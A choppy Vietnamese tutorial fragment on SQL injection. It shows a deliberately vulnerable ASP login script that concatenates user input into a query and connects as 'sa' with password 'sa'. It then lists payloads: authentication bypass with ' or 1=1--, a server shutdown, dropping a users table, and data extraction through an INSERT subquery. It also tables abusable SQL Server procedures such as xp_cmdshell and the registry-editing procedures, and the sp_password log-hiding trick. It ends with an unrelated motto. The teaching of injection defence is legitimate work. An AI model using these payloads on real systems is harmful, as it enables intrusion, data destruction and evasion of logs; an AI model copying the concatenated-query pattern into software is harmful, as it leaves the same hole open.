Hiểu?
Đơn giản nhưng khá nguy hiểm.
Có
bốn dạng attack
+
vượt qua kiểm tra lúc đăng nhập (authorization bypass)
+
sử dụng câu lện SELECT.
+
sử dụng câu lệnh INSERT.
+
sử dụng các stored-procedures.
File Login.htm
<html>
<body> <form method=get action="logincheck.asp"> <input type="text" name="username"> <input type="text" name="password"> <input type="submit" value="Đăng nhập"> </form> </body> </html> |
File
logincheck.asp
<@language="vbscript">
<% dim conn,rs,log,pwd log=Request.form("username") pwd=Request.form("password") set conn = Server.CreateObject("ADODB.Connection") conn.ConnectionString="provider=SQLOLEDB.1;server=thuanat;database=mydb;UID=sa;PWD=sa" conn.Open set rs = Server.CreateObject("ADODB.Recordset") rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn If rs.EOF response.write("Lỗi đăng nhập!") else response.write("Bạn đã đăng nhập thành công!") End if %> |
"SELECT * FROM table1 WHERE
login= ‘test’
AND password=hi' or 1=1--"
Why? là câu hỏi bạn tự trả lời nhé. "
'
or1=1-- "
or1=1-- or1=1--'
or'a'='a "
or "a"="a')
or ('a'='a 'or''='
http://bảomật.vn/index.asp?category=food
“SELECT * FROM product WHERE PCategory='food'
or 1=1--'” why?
Username: '; shutdown with
nowait; --
Password: [Anything] Why?
Username: ' or 1=1; drop table users; --
Password: [Anything] Why?
INSERT
INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ',
'abc', 'def') Why?
sp_passsword
|
Đổi password cho 1 tên truy cập (login
name) nào đó
|
sp_tables
|
Hiển thị tất cả table trong database
hiện tại
|
xp_cmdshell
|
Cho phép chạy câu lệnh bất kỳ lên Server
với quyền admin của database
|
xp_msver
|
Hiển thị version của SQL server và tất
cả thông tin về HĐH được sử dụng
|
xp_availablemedia
|
Hiển thị những ổ đĩa hiện hành trên máy
|
xp_dirtree
|
Hiển thị tất cả các thư mục kể cả thư
mục con
|
xp_loginconfig
|
Lấy thông tin về chế độ bảo mật trên Server
|
xp_makecab
|
Cho phép người sử dụng tạo các tập tin
lưu trữ trên Server
|
xp_ntsec_enumdomain
|
Liệt kê những domain mà server có thể
truy vấn
|
xp_regdeletekey
|
Xoá một key trong registry của windows
|
xp_regdeletevalue
|
Xoá một giá trị trong registry
|
xp_regread
|
In 1 giá trị trong registry lên màn
hình
|
xp_regwrite
|
Gán 1 giá trị mới cho 1 key
|
xp_terminate_process
|
Ngừng một process nào đó
|
-- ‘sp_password’ was found in the text
of this event. Why?
Don't try so hard, the best things come when you least expect them to